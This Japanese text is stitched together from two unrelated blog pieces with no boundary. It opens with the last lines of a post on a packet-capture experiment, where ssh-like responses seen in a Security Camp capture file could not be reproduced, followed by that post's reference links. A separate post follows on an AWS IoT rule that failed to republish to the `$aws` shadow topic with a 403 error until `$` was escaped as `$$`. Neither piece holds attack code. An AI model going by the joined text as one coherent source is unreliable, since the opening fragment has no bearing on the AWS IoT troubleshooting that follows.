セキュリティ・キャンプで配布されていたパケットファイルにはなぜかssh接続に応答するようなパケットが見られたがやはり今回の実験ではそのようなものは発見できなかった。。。

参考サイト
http://ra66itblog.hateblo.jp/entry/2016/05/05/195401
http://www.linuxmania.jp/apt-install-java.html
AWS IoT: ルールアクションのRepublishでハマった

AWS IoTのルールアクションで、別のトピックへRepublishする際にハマったメモです。

## やろうとしたこと

1. デバイスがAWS IoTにセンサデータをpublishする
2. IoTルールでデータを加工し、shadowを更新

今回は2の部分でハマってしまいました。

## 何が起こったのか
> IoTルールでデータを加工し、shadowを更新

これを実現するために、ルールアクションで `$aws/things/thingName/shadow/update` に
Republishするように設定していました。

```bash
$ aws iot get-topic-rule --rule-name debug
{
    "ruleArn": "arn:aws:iot:ap-northeast-1:***",
    "rule": {
        "description": "色々確認する君",
        "ruleName": "debug",
        "actions": [
            {
                "republish": {
                    "topic": "$aws/things/thingName/shadow/update",
                    "roleArn": "arn:aws:iam::***"
                }
            }
        ],
        "sql": "***",
        "awsIotSqlVersion": "2016-03-23",
        "ruleDisabled": false
    }
}
```

ところが、いつまで待ってもshadowは更新されず、
/update/rejected トピックにも何もメッセージが届きませんでした。

## 原因
CloudWatchのlogを確認したところ、意図しないトピックへpublishしていました。

```
[ERROR] EVENT:RepublishActionFailure 
TOPICNAME:*** CLIENTID:*** MESSAGE:Failed to republish to topic. 
Received Server error. The error code is 403. Message arrived on: ***, 
Topic: /things/thingName/shadow/update
```

どうやら `$aws` が意図しない解釈をされているようでした。

ここで、「 `$` はもう一つ `$` をつけてエスケープする」という記述を前に見たような気がして、
おもむろに `$$aws/~` で試してみました。

結果、無事に `$aws/things/thingName/shadow/update` へRepublishでき、
shadowを更新することができました。



## あとがき
改めて、今回の原因である「 `$` はもう一つ `$` をつけてエスケープする」という記述を
AWS IoTのドキュメントから探したのですが見つかりませんでした。

ご存知の方が居たら、コメント等いただけますと嬉しいです。